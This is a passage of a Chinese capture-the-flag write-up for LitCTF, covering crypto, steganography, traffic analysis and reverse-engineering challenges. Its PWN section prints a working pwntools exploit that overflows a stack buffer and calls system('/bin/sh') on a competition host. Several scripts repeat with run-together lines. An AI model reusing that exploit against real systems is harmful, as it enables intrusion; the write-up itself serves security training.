使用私钥解密密文<br>m = pow(c, d, n)  # 使用 d 解密加密消息 c，得到原始消息 m<br><br># 将解密后的长整数转换为字节数据<br>flag = long_to_bytes(m)<br><br># 处理并输出解密后的消息<br># 方法1：尝试使用 ISO-8859-1 编码解码<br>try:<br>    print("Flag (ISO-8859-1):", flag.decode('ISO-8859-1'))<br>except UnicodeDecodeError as e:<br>    print("Unicode Decode Error (ISO-8859-1):", e)<br><br># 方法2：输出原始字节数据<br>print("Flag (raw bytes):", flag)<br><br># 方法3：忽略错误并尝试使用 UTF-8 编码解码<br>try:<br>    print("Flag (UTF-8, ignore errors):", flag.decode('utf-8', errors='ignore'))<br>except UnicodeDecodeError as e:<br>    print("Unicode Decode Error (UTF-8):", e)
# 导入必要的库<br>from Cryptodome.Util.number import long_to_bytes, inverse<br>from sympy import symbols, solve<br><br># 给定的多项式方程的常数项<br>Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142<br>Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760<br>Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832<br><br># 加密消息<br>c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900<br><br># 求解多项式方程，得到 p, q, r 的值<br>p, q, r = symbols('p q r', integer=True)  # 定义符号 p, q, r 为整数<br>eq1 = p**2 + q - Polynomial1  # 定义第一个多项式方程<br>eq2 = q**2 + r - Polynomial2  # 定义第二个多项式方程<br>eq3 = r**2 + p - Polynomial3  # 定义第三个多项式方程<br>solutions = solve((eq1, eq2, eq3), (p, q, r))  # 求解方程组，得到 p, q, r 的解<br><br># 选择合适的解<br>for solution in solutions:<br>    p = int(solution[0])<br>    q = int(solution[1])<br>    r = int(solution[2])<br>    if p*q*r < c:  # 验证解的正确性<br>        break<br><br># 计算模数 n 和欧拉函数 φ(n)<br>n = p * q * r  # 计算模数 n<br>phi = (p-1)*(q-1)*(r-1)  # 计算欧拉函数 φ(n)<br><br># 设置公钥指数和计算私钥<br>e = 65537  # 一般情况下，公钥指数 e 默认为 65537<br>d = inverse(e, phi)  # 计算私钥 d<br><br># 使用私钥解密密文<br>m = pow(c, d, n)  # 使用 d 解密加密消息 c，得到原始消息 m<br><br># 将解密后的长整数转换为字节数据<br>flag = long_to_bytes(m)<br><br># 处理并输出解密后的消息<br># 方法1：尝试使用 ISO-8859-1 编码解码<br>try:<br>    print("Flag (ISO-8859-1):", flag.decode('ISO-8859-1'))<br>except UnicodeDecodeError as e:<br>    print("Unicode Decode Error (ISO-8859-1):", e)<br><br># 方法2：输出原始字节数据<br>print("Flag (raw bytes):", flag)<br><br># 方法3：忽略错误并尝试使用 UTF-8 编码解码<br>try:<br>    print("Flag (UTF-8, ignore errors):", flag.decode('utf-8', errors='ignore'))<br>except UnicodeDecodeError as e:<br>    print("Unicode Decode Error (UTF-8):", e)
# 导入必要的库
from Cryptodome.Util.number import long_to_bytes, inverse
from sympy import symbols, solve

# 给定的多项式方程的常数项
Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142
Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760
Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832

# 加密消息
c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900

# 求解多项式方程，得到 p, q, r 的值
p, q, r = symbols('p q r', integer=True)  # 定义符号 p, q, r 为整数
eq1 = p**2 + q - Polynomial1  # 定义第一个多项式方程
eq2 = q**2 + r - Polynomial2  # 定义第二个多项式方程
eq3 = r**2 + p - Polynomial3  # 定义第三个多项式方程
solutions = solve((eq1, eq2, eq3), (p, q, r))  # 求解方程组，得到 p, q, r 的解

# 选择合适的解
for solution in solutions:
    p = int(solution[0])
    q = int(solution[1])
    r = int(solution[2])
    if p*q*r < c:  # 验证解的正确性
        break

# 计算模数 n 和欧拉函数 φ(n)
n = p * q * r  # 计算模数 n
phi = (p-1)*(q-1)*(r-1)  # 计算欧拉函数 φ(n)

# 设置公钥指数和计算私钥
e = 65537  # 一般情况下，公钥指数 e 默认为 65537
d = inverse(e, phi)  # 计算私钥 d

# 使用私钥解密密文
m = pow(c, d, n)  # 使用 d 解密加密消息 c，得到原始消息 m

# 将解密后的长整数转换为字节数据
flag = long_to_bytes(m)

# 处理并输出解密后的消息
# 方法1：尝试使用 ISO-8859-1 编码解码
try:
    print("Flag (ISO-8859-1):", flag.decode('ISO-8859-1'))
except UnicodeDecodeError as e:
    print("Unicode Decode Error (ISO-8859-1):", e)

# 方法2：输出原始字节数据
print("Flag (raw bytes):", flag)

# 方法3：忽略错误并尝试使用 UTF-8 编码解码
try:
    print("Flag (UTF-8, ignore errors):", flag.decode('utf-8', errors='ignore'))
except UnicodeDecodeError as e:
    print("Unicode Decode Error (UTF-8):", e)

得到flag

->Misc方向

涐贪恋和伱、甾―⑺dé毎兮毎秒

下载附件，看到图片，使用Stegsolve打开，提取LSB最低有效位

图片[34],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

看到flag，可以使用 Save Bin保存到txt里面，然后打开

图片[35],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

你说得对，但__

下载附件解压里面有一个png文件，使用Binwalk分离，得到四张图片，分别是二维码的四个部分

图片[36],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[37],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

经过PS的拼接，得到完整的二维码

图片[38],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

扫描二维码，得到flag

LitCTF{Genshin_St@rt!!}

盯帧珍珠

在虚拟机里 用file命令发现是gif图片,改后缀为.gif
puzzlesolver分帧

图片[39],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

逐个查看得到flag

图片[40],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

原铁启动

图片[41],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

网上找文章发现

图片[42],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

flag{good_
后半段是另一种密文

图片[43],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

gamer}
拼到一起得到flag

The love

把图片托进010

图片[44],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

尾部发现Lit字样 还有一个压缩包

图片[45],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

分离出来,发现要密码 进行掩码攻击

图片[46],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

得到一个flag.txt是fake

图片[47],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

password.txt进行base64解码两次

图片[48],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

再看音频

图片[49],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

deepsound输入刚刚的base64结果 得到flag文件

图片[50],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

Everywhere We Go

下载附件打开，有一段mp3的音频，使用Audacity打开查看频谱，放大时间轴，即可看到flag

图片[51],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[52],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

关键，太关键了!

下载附件，查看到两个文件，打开key.txt，根据提示想到字频统计

使用PuzzleSolver工具字频统计（也可以用在线网站或者其他工具）

图片[53],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

猜测bingo即是一个密码，在flag.txt中，有一段类似flag 的字符串，使用随波逐流工具加上密码bingo，即可爆出flag

图片[54],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

发现是Keyword密码，替换为小写并且更换为LitCTF{}包裹即可提交

舔到最后应有尽有

图片[55],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

打开文件怀疑是base64隐写,puzzleSolver一把梭

图片[56],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

女装照流量

图片[57],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

逐个流量分析,发现传马了

图片[58],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

发现是蚁剑流量
先导出所有http对象,保存起来,发现ma(19).php有pk字样,放到010里 删除第一个pk起那面的字符.然后保存为zip后缀
接着分析流量
先url解码
进行base64解码时发现不对,仔细观察代码发现

图片[59],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

红框里面的代码时重第三个字符开始,我们要把前2个字符给删掉,然后进行base64 找到关键代码.

图片[60],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

压缩包密码是PaSsw0rd_LitCtF_L0vely_tanJi 解开压缩包

图片[61],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

->PWN方向

ATM

图片[62],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[63],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

在case3中有代码逻辑错误，因为nbyte是个字符串类型，不管输入多少，nbtyes相加的值的都是nptr的地址 低4字节，这里可以通过控制case3的次数，从而使的nbyte即余额变得很大

图片[64],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

在case5处泄露了libc地址，并且读入nbytes字节的值，会造成栈溢出，覆盖返回地址，调用libc中system函 数拿到shell

图片[65],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

脚本如下:

from pwn import *
from LibcSearcher import * 
#io=process('./app') #io=remote("node3.anna.nssctf.cn","28377")
io=remote("node1.anna.nssctf.cn",28654) io.recvuntil(b'password:') io.sendline(b'1')
for i in range(10):
    io.recvuntil(b'4.Exit')
    io.sendline(b'3')
    io.recvuntil(b'deposit:')
    io.sendline(b'1')
    io.recvuntil(b'4.Exit')
    io.sendline(b'1')
    io.recvuntil(b'Your balance is:') 
    n=int(io.recvuntil(b'$')[:-1])
    print(n)
    if n > 0:
        break
io.recvuntil(b'4.Exit')
io.sendline(b'5')
io.recvuntil(b'0x')
leak=int(io.recv(12),16)
print(hex(leak))
libc=LibcSearcher('printf',leak) 
libc_base=leak-libc.dump('printf') system=libc.dump('system')+libc_base bin_sh=libc.dump('str_bin_sh')+libc_base
pop_rdi=0x00401233 #: pop rdi ; re
ret=0x40147D payload=b'a'*0x168+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) #gdb.attach(io)
io.sendline(payload)
io.sendline(b'4')
io.interactive()
from pwn import *
from LibcSearcher import * 
#io=process('./app') #io=remote("node3.anna.nssctf.cn","28377")

io=remote("node1.anna.nssctf.cn",28654) io.recvuntil(b'password:') io.sendline(b'1')
for i in range(10):
    io.recvuntil(b'4.Exit')
    io.sendline(b'3')
    io.recvuntil(b'deposit:')
    io.sendline(b'1')
    io.recvuntil(b'4.Exit')
    io.sendline(b'1')
    io.recvuntil(b'Your balance is:') 
    n=int(io.recvuntil(b'$')[:-1])
    print(n)
    if n > 0:
        break
io.recvuntil(b'4.Exit')
io.sendline(b'5')
io.recvuntil(b'0x')
leak=int(io.recv(12),16)
print(hex(leak))
libc=LibcSearcher('printf',leak) 
libc_base=leak-libc.dump('printf') system=libc.dump('system')+libc_base bin_sh=libc.dump('str_bin_sh')+libc_base
pop_rdi=0x00401233 #: pop rdi ; re
ret=0x40147D payload=b'a'*0x168+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) #gdb.attach(io)
io.sendline(payload)
io.sendline(b'4')
io.interactive()
from pwn import *
from LibcSearcher import * 
#io=process('./app') #io=remote("node3.anna.nssctf.cn","28377")

io=remote("node1.anna.nssctf.cn",28654) io.recvuntil(b'password:') io.sendline(b'1')
for i in range(10):
    io.recvuntil(b'4.Exit')
    io.sendline(b'3')
    io.recvuntil(b'deposit:')
    io.sendline(b'1')
    io.recvuntil(b'4.Exit')
    io.sendline(b'1')
    io.recvuntil(b'Your balance is:') 
    n=int(io.recvuntil(b'$')[:-1])
    print(n)
    if n > 0:
        break
io.recvuntil(b'4.Exit')
io.sendline(b'5')
io.recvuntil(b'0x')
leak=int(io.recv(12),16)
print(hex(leak))
libc=LibcSearcher('printf',leak) 
libc_base=leak-libc.dump('printf') system=libc.dump('system')+libc_base bin_sh=libc.dump('str_bin_sh')+libc_base
pop_rdi=0x00401233 #: pop rdi ; re
ret=0x40147D payload=b'a'*0x168+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) #gdb.attach(io)
io.sendline(payload)
io.sendline(b'4')
io.interactive()

->REVERSE方向

编码喵

图片[66],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

c++的逆向

图片[67],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[68],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

换表base64，直接解密即可

图片[69],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

ezrc4

图片[70],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

初始化s盒

图片[71],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

rc4加密

图片[72],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

最后与buf处数据进行比较

图片[73],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

这里fenkey解密出来的是乱码

图片[74],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

发现有函数对key进行了异或操作,写个脚本异或回来

key='fenkey?' 
key1=[0x0a,0x0c,0x1a,0x8,0x11,0x1f,0x1e,0x0] ret=""
for i in range(len(key)):
    a=ord(key[i])
    a^=key1[i]
    ret+=chr(a)
print(ret)
key='fenkey?' 
key1=[0x0a,0x0c,0x1a,0x8,0x11,0x1f,0x1e,0x0] ret=""
for i in range(len(key)):
    a=ord(key[i])
    a^=key1[i]
    ret+=chr(a)
print(ret)
key='fenkey?' 
key1=[0x0a,0x0c,0x1a,0x8,0x11,0x1f,0x1e,0x0] ret=""
for i in range(len(key)):
    a=ord(key[i])
    a^=key1[i]
    ret+=chr(a)
print(ret)

得到真正的key

图片[75],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

最后rc4解密即可拿到flag

图片[76],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

hello_upx

查壳存在upx

图片[77],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

直接用upx脱壳失败

图片[78],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

用010查看一下文件
发现upx标志位被修改了

图片[79],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

修改回来再进行脱壳

图片[80],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[81],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

ida打开，发现对flag ascii值进行了加减操作，修改回来即可

图片[82],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

解密脚本

enc=[
   0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70,0x2B, 0x63, 0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E, 0x60, 0x4E, 0x5E, 0x4F,101]
flag=''
for i in range(len(enc)): 
    flag+=chr(enc[i]+i) 
print(flag)
enc=[
   0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70,0x2B, 0x63, 0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E, 0x60, 0x4E, 0x5E, 0x4F,101]

flag=''
for i in range(len(enc)): 
    flag+=chr(enc[i]+i) 
print(flag)
enc=[
   0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70,0x2B, 0x63, 0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E, 0x60, 0x4E, 0x5E, 0x4F,101]

flag=''
for i in range(len(enc)): 
    flag+=chr(enc[i]+i) 
print(flag)
图片[83],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

ez_python

python打包的exe文件

图片[84],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

用pyinstxtractor脚本提取出来 https://github.com/extremecoders-re/pyinstxtractor

图片[85],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

注意这里文件是python3.11,也要把自己python环境切换到python11不然不会提取库文件 得到pyc文件

反编译成python代码

图片[86],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information 
# Version: Python 3.11
import Litctfbase64
flag = input('flag:')
flag = Litctfbase64.b64decode(flag)
if flag == 'X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==': 
    print('win')
    return None
print('no')
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information 
# Version: Python 3.11

import Litctfbase64
flag = input('flag:')
flag = Litctfbase64.b64decode(flag)
if flag == 'X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==': 
    print('win')
    return None
print('no')
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information 
# Version: Python 3.11

import Litctfbase64
flag = input('flag:')
flag = Litctfbase64.b64decode(flag)
if flag == 'X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==': 
    print('win')
    return None
print('no')

导入了自定义库，这个库在这个文件夹里

图片[87],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[88],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[89],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

换表base64

图片[90],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
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